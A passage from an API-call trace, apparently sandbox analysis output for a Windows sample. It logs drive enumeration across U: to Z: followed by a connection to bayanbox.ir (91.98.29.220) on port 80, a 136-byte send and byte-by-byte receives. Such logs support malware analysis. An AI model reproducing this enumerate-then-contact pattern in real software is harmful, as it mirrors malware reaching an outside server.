hHeap=0x2ad0000) returned 1 [0103.551] ResetEvent (hEvent=0x1d4) returned 1 [0103.551] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0104.565] GetLastError () returned 0x3 [0104.566] GetLastError () returned 0x3 [0104.566] GetLastError () returned 0x3 [0104.566] GetLastError () returned 0x3 [0104.566] GetLastError () returned 0x3 [0104.566] GetLastError () returned 0x3 [0104.566] FindFirstFileA (in: lpFileName="U:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0104.566] GetLastError () returned 0x3 [0104.566] GetLastError () returned 0x3 [0104.566] GetLastError () returned 0x3 [0104.567] GetLastError () returned 0x3 [0104.567] GetLastError () returned 0x3 [0104.567] GetLastError () returned 0x3 [0104.567] LocalFree (hMem=0x109ce98) returned 0x0 [0104.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3824620 | out: hHeap=0x2ad0000) returned 1 [0104.567] ResetEvent (hEvent=0x1d4) returned 1 [0104.567] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0105.579] GetLastError () returned 0x3 [0105.579] GetLastError () returned 0x3 [0105.579] GetLastError () returned 0x3 [0105.579] GetLastError () returned 0x3 [0105.579] GetLastError () returned 0x3 [0105.579] GetLastError () returned 0x3 [0105.579] FindFirstFileA (in: lpFileName="V:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0105.580] GetLastError () returned 0x3 [0105.580] GetLastError () returned 0x3 [0105.580] GetLastError () returned 0x3 [0105.580] GetLastError () returned 0x3 [0105.580] GetLastError () returned 0x3 [0105.580] GetLastError () returned 0x3 [0105.580] LocalFree (hMem=0x109d218) returned 0x0 [0105.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3824198 | out: hHeap=0x2ad0000) returned 1 [0105.580] ResetEvent (hEvent=0x1d4) returned 1 [0105.580] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0106.578] GetLastError () returned 0x3 [0106.578] GetLastError () returned 0x3 [0106.579] GetLastError () returned 0x3 [0106.579] GetLastError () returned 0x3 [0106.579] GetLastError () returned 0x3 [0106.579] GetLastError () returned 0x3 [0106.579] FindFirstFileA (in: lpFileName="W:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0106.579] GetLastError () returned 0x3 [0106.579] GetLastError () returned 0x3 [0106.579] GetLastError () returned 0x3 [0106.579] GetLastError () returned 0x3 [0106.579] GetLastError () returned 0x3 [0106.579] GetLastError () returned 0x3 [0106.580] LocalFree (hMem=0x109d330) returned 0x0 [0106.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3825cc8 | out: hHeap=0x2ad0000) returned 1 [0106.580] ResetEvent (hEvent=0x1d4) returned 1 [0106.580] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0107.579] GetLastError () returned 0x3 [0107.579] GetLastError () returned 0x3 [0107.579] GetLastError () returned 0x3 [0107.579] GetLastError () returned 0x3 [0107.579] GetLastError () returned 0x3 [0107.580] GetLastError () returned 0x3 [0107.580] FindFirstFileA (in: lpFileName="X:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0107.580] GetLastError () returned 0x3 [0107.580] GetLastError () returned 0x3 [0107.580] GetLastError () returned 0x3 [0107.580] GetLastError () returned 0x3 [0107.580] GetLastError () returned 0x3 [0107.580] GetLastError () returned 0x3 [0107.580] LocalFree (hMem=0x109d218) returned 0x0 [0107.580] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3826150 | out: hHeap=0x2ad0000) returned 1 [0107.581] ResetEvent (hEvent=0x1d4) returned 1 [0107.581] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0108.594] GetLastError () returned 0x3 [0108.594] GetLastError () returned 0x3 [0108.594] GetLastError () returned 0x3 [0108.594] GetLastError () returned 0x3 [0108.594] GetLastError () returned 0x3 [0108.594] GetLastError () returned 0x3 [0108.594] FindFirstFileA (in: lpFileName="Y:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0108.594] GetLastError () returned 0x3 [0108.594] GetLastError () returned 0x3 [0108.595] GetLastError () returned 0x3 [0108.595] GetLastError () returned 0x3 [0108.595] GetLastError () returned 0x3 [0108.595] GetLastError () returned 0x3 [0108.595] LocalFree (hMem=0x109cf78) returned 0x0 [0108.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3826ee8 | out: hHeap=0x2ad0000) returned 1 [0108.595] ResetEvent (hEvent=0x1d4) returned 1 [0108.595] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0109.594] GetLastError () returned 0x3 [0109.594] GetLastError () returned 0x3 [0109.594] GetLastError () returned 0x3 [0109.594] GetLastError () returned 0x3 [0109.594] GetLastError () returned 0x3 [0109.594] GetLastError () returned 0x3 [0109.595] FindFirstFileA (in: lpFileName="Z:\\*.*", lpFindFileData=0x9bb150 | out: lpFindFileData=0x9bb150*(dwFileAttributes=0x34a4a30, ftCreationTime.dwLowDateTime=0x1f, ftCreationTime.dwHighDateTime=0x2ad1128, ftLastAccessTime.dwLowDateTime=0x9bb17c, ftLastAccessTime.dwHighDateTime=0x72f94f8a, ftLastWriteTime.dwLowDateTime=0x3659f60, ftLastWriteTime.dwHighDateTime=0x29d46f8, nFileSizeHigh=0x2576b1c0, nFileSizeLow=0x29d46f8, dwReserved0=0x3657a80, dwReserved1=0x3657a80, cFileName="\x98\xb1\x9b", cAlternateFileName="\xd7\x70\xfb\x72\x70\x6d\x65\x03\x80\xaf\xc4\x02\x3c\xfb\x12\x73")) returned 0xffffffff [0109.595] GetLastError () returned 0x3 [0109.595] GetLastError () returned 0x3 [0109.595] GetLastError () returned 0x3 [0109.595] GetLastError () returned 0x3 [0109.595] GetLastError () returned 0x3 [0109.595] GetLastError () returned 0x3 [0109.595] LocalFree (hMem=0x109d020) returned 0x0 [0109.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3823400 | out: hHeap=0x2ad0000) returned 1 [0109.596] ResetEvent (hEvent=0x1d4) returned 1 [0109.596] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x3e8) returned 0x102 [0110.594] GetLastError () returned 0x3 [0110.595] GetLastError () returned 0x3 [0110.595] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0110.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361eb00 | out: hHeap=0x2ad0000) returned 1 [0110.596] GetCurrentThreadId () returned 0x9b0 [0110.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0110.596] GetCurrentThreadId () returned 0x9b0 [0110.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0110.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0110.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0110.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0110.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0110.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0110.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811c8 [0110.597] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0110.597] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881048 [0110.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881048 | out: hHeap=0x2ad0000) returned 1 [0110.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0110.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0110.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0110.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0110.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0110.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0110.598] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0110.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0110.598] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38811c8, Size=0x24) returned 0x2a20108 [0110.598] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0110.598] GetLastError () returned 0x3 [0110.599] getaddrinfo (in: pNodeName="bayanbox.ir", pServiceName="80", pHints=0x9bad14*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x9bacf8 | out: ppResult=0x9bacf8*=0x3e35e98*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x106a380*(sa_family=2, sin_port=0x50, sin_addr="91.98.29.220"), ai_next=0x0)) returned 0 [0110.604] WSASetLastError (iError=0) [0110.604] GetLastError () returned 0x0 [0110.604] GetCurrentThreadId () returned 0x9b0 [0110.604] GetLastError () returned 0x0 [0110.604] getnameinfo (in: pSockaddr=0x106a380*(sa_family=2, sin_port=0x50, sin_addr="91.98.29.220"), SockaddrLength=0x10, pNodeBuffer=0x9ba8b4, NodeBufferSize=0x401, pServiceBuffer=0x0, ServiceBufferSize=0x0, Flags=2 | out: pNodeBuffer="91.98.29.220", pServiceBuffer=0x0) returned 0 [0110.605] WSASetLastError (iError=0) [0110.605] htons (hostshort=0x5000) returned 0x50 [0110.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812e8 [0110.605] FreeAddrInfoW (pAddrInfo=0x3e35e98*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x106a380*(sa_family=2, sin_port=0x50, sin_addr="91.98.29.220"), ai_next=0x0)) [0110.605] socket (af=2, type=1, protocol=0) returned 0x3a4 [0110.605] GetLastError () returned 0x0 [0110.605] GetCurrentThreadId () returned 0x9b0 [0110.605] GetLastError () returned 0x0 [0110.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0110.606] GetLastError () returned 0x0 [0110.606] GetLastError () returned 0x0 [0110.606] GetLastError () returned 0x0 [0110.606] GetLastError () returned 0x0 [0110.606] htonl (hostlong=0x5b621ddc) returned 0xdc1d625b [0110.606] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0110.606] htons (hostshort=0x50) returned 0x5000 [0110.606] connect (s=0x3a4, name=0x9bab10*(sa_family=2, sin_port=0x50, sin_addr="91.98.29.220"), namelen=16) returned 0 [0110.761] GetLastError () returned 0x0 [0110.761] GetCurrentThreadId () returned 0x9b0 [0110.761] GetLastError () returned 0x0 [0110.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812e8 | out: hHeap=0x2ad0000) returned 1 [0110.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0110.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0110.761] GetLastError () returned 0x0 [0110.761] send (s=0x3a4, buf=0x33b0df4*, len=136, flags=0) returned 136 [0110.762] GetLastError () returned 0x0 [0110.762] GetCurrentThreadId () returned 0x9b0 [0110.762] GetLastError () returned 0x0 [0110.762] GetLastError () returned 0x0 [0110.762] GetCurrentThreadId () returned 0x9b0 [0110.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8498 [0110.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0110.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8d18 [0110.763] GetLastError () returned 0x0 [0110.763] recv (in: s=0x3a4, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0110.921] GetLastError () returned 0x0 [0110.923] GetCurrentThreadId () returned 0x9b0 [0110.923] GetLastError () returned 0x0 [0110.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0110.926] GetCurrentThreadId () returned 0x9b0 [0110.926] GetLastError () returned 0x0 [0110.926] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.926] GetLastError () returned 0x0 [0110.926] GetCurrentThreadId () returned 0x9b0 [0110.926] GetLastError () returned 0x0 [0110.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0110.926] GetLastError () returned 0x0 [0110.926] recv (in: s=0x3a4, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0110.926] GetLastError () returned 0x0 [0110.926] GetCurrentThreadId () returned 0x9b0 [0110.926] GetLastError () returned 0x0 [0110.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810d8 | out: hHeap=0x2ad0000) returned 1 [0110.927] GetLastError () returned 0x0 [0110.927] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.927] GetLastError () returned 0x0 [0110.927] GetCurrentThreadId () returned 0x9b0 [0110.927] GetLastError () returned 0x0 [0110.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810d8 | out: hHeap=0x2ad0000) returned 1 [0110.927] GetLastError () returned 0x0 [0110.927] recv (in: s=0x3a4, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0110.927] GetLastError () returned 0x0 [0110.927] GetCurrentThreadId () returned 0x9b0 [0110.927] GetLastError () returned 0x0 [0110.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0110.927] GetLastError () returned 0x0 [0110.927] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.928] GetLastError () returned 0x0 [0110.928] GetCurrentThreadId () returned 0x9b0 [0110.928] GetLastError () returned 0x0 [0110.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0110.928] GetLastError () returned 0x0 [0110.928] recv (in: s=0x3a4, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0110.928] GetLastError () returned 0x0 [0110.928] GetCurrentThreadId () returned 0x9b0 [0110.928] GetLastError () returned 0x0 [0110.928] GetCurrentThreadId () returned 0x9b0 [0110.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0110.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0110.928] GetLastError () returned 0x0 [0110.928] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.929] GetLastError () returned 0x0 [0110.929] GetCurrentThreadId () returned 0x9b0 [0110.929] GetLastError () returned 0x0 [0110.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881030 | out: hHeap=0x2ad0000) returned 1 [0110.929] GetLastError () returned 0x0 [0110.929] recv (in: s=0x3a4, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0110.929] GetLastError () returned 0x0 [0110.929] GetCurrentThreadId () returned 0x9b0 [0110.929] GetLastError () returned 0x0 [0110.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0110.929] GetLastError () returned 0x0 [0110.929] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.929] GetLastError () returned 0x0 [0110.930] GetCurrentThreadId () returned 0x9b0 [0110.930] GetLastError () returned 0x0 [0110.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0110.930] GetLastError () returned 0x0 [0110.930] recv (in: s=0x3a4, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0110.930] GetLastError () returned 0x0 [0110.930] GetCurrentThreadId () returned 0x9b0 [0110.930] GetLastError () returned 0x0 [0110.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881168 | out: hHeap=0x2ad0000) returned 1 [0110.930] GetLastError () returned 0x0 [0110.930] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.930] GetLastError () returned 0x0 [0110.930] GetCurrentThreadId () returned 0x9b0 [0110.930] GetLastError () returned 0x0 [0110.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0110.931] GetLastError () returned 0x0 [0110.931] recv (in: s=0x3a4, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0110.931] GetLastError () returned 0x0 [0110.931] GetCurrentThreadId () returned 0x9b0 [0110.931] GetLastError () returned 0x0 [0110.931] GetCurrentThreadId () returned 0x9b0 [0110.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812b8 [0110.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812b8 | out: hHeap=0x2ad0000) returned 1 [0110.931] GetLastError () returned 0x0 [0110.931] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.931] GetLastError () returned 0x0 [0110.931] GetCurrentThreadId () returned 0x9b0 [0110.931] GetLastError () returned 0x0 [0110.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811c8 | out: hHeap=0x2ad0000) returned 1 [0110.932] GetLastError () returned 0x0 [0110.932] recv (in: s=0x3a4, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0110.932] GetLastError () returned 0x0 [0110.932] GetCurrentThreadId () returned 0x9b0 [0110.932] GetLastError () returned 0x0 [0110.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0110.932] GetLastError () returned 0x0 [0110.932] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.932] GetLastError () returned 0x0 [0110.932] GetCurrentThreadId () returned 0x9b0 [0110.932] GetLastError () returned 0x0 [0110.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810a8 | out: hHeap=0x2ad0000) returned 1 [0110.932] GetLastError () returned 0x0 [0110.932] recv (in: s=0x3a4, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0110.933] GetLastError () returned 0x0 [0110.933] GetCurrentThreadId () returned 0x9b0 [0110.933] GetLastError () returned 0x0 [0110.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0110.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810c0 [0110.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810c0 | out: hHeap=0x2ad0000) returned 1 [0110.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8498 | out: hHeap=0x2ad0000) returned 1 [0110.933] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x3881240 [0110.933] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0110.933] GetLastError () returned 0x0 [0110.933] GetLastError () returned 0x0 [0110.933] GetCurrentThreadId () returned 0x9b0 [0110.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a57f8 [0110.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8498 [0110.934] GetLastError () returned 0x0 [0110.934] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.934] GetLastError () returned 0x0 [0110.934] GetCurrentThreadId () returned 0x9b0 [0110.934] GetLastError () returned 0x0 [0110.934] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811b0 | out: hHeap=0x2ad0000) returned 1 [0110.934] GetLastError () returned 0x0 [0110.934] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.934] GetLastError () returned 0x0 [0110.934] GetCurrentThreadId () returned 0x9b0 [0110.934] GetLastError () returned 0x0 [0110.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0110.935] GetLastError () returned 0x0 [0110.935] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.935] GetLastError () returned 0x0 [0110.935] GetCurrentThreadId () returned 0x9b0 [0110.935] GetLastError () returned 0x0 [0110.935] GetCurrentThreadId () returned 0x9b0 [0110.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812e8 [0110.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812e8 | out: hHeap=0x2ad0000) returned 1 [0110.935] GetLastError () returned 0x0 [0110.935] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.935] GetLastError () returned 0x0 [0110.935] GetCurrentThreadId () returned 0x9b0 [0110.935] GetLastError () returned 0x0 [0110.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0110.936] GetLastError () returned 0x0 [0110.936] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.936] GetLastError () returned 0x0 [0110.936] GetCurrentThreadId () returned 0x9b0 [0110.936] GetLastError () returned 0x0 [0110.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810c0 | out: hHeap=0x2ad0000) returned 1 [0110.936] GetLastError () returned 0x0 [0110.936] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.936] GetLastError () returned 0x0 [0110.936] GetCurrentThreadId () returned 0x9b0 [0110.936] GetLastError () returned 0x0 [0110.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0110.936] GetLastError () returned 0x0 [0110.936] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.937] GetLastError () returned 0x0 [0110.937] GetCurrentThreadId () returned 0x9b0 [0110.937] GetLastError () returned 0x0 [0110.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0110.937] GetLastError () returned 0x0 [0110.937] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.937] GetLastError () returned 0x0 [0110.937] GetCurrentThreadId () returned 0x9b0 [0110.937] GetLastError () returned 0x0 [0110.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881168 | out: hHeap=0x2ad0000) returned 1 [0110.937] GetLastError () returned 0x0 [0110.937] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.937] GetLastError () returned 0x0 [0110.937] GetCurrentThreadId () returned 0x9b0 [0110.937] GetLastError () returned 0x0 [0110.938] GetCurrentThreadId () returned 0x9b0 [0110.938] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811b0 [0110.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811b0 | out: hHeap=0x2ad0000) returned 1 [0110.938] GetLastError () returned 0x0 [0110.938] recv (in: s=0x3a4, buf=0x36367b4, len=1, flags=0 | out: buf=0x36367b4*) returned 1 [0110.938] GetLastError () returned 0x0 [0110.938] GetCurrentThreadId () returned 0x9b0 [0110.938] GetLastError () returned 0x0 [0110.938] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0110.938] GetLastError () returned 0x0 [0110.938] recv (in: s=0x3a4, buf=0x3636754, len=1, flags=0 | out: buf=0x3636754*) returned 1 [0110.938] GetLastError () returned 0x0 [0110.939] GetCurrentThreadId () returned 0x9b0 [0110.939] GetLastError () returned 0x0 [0110.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881018 | out: hHeap=0x2ad0000) returned 1 [0110.939] GetLastError () returned 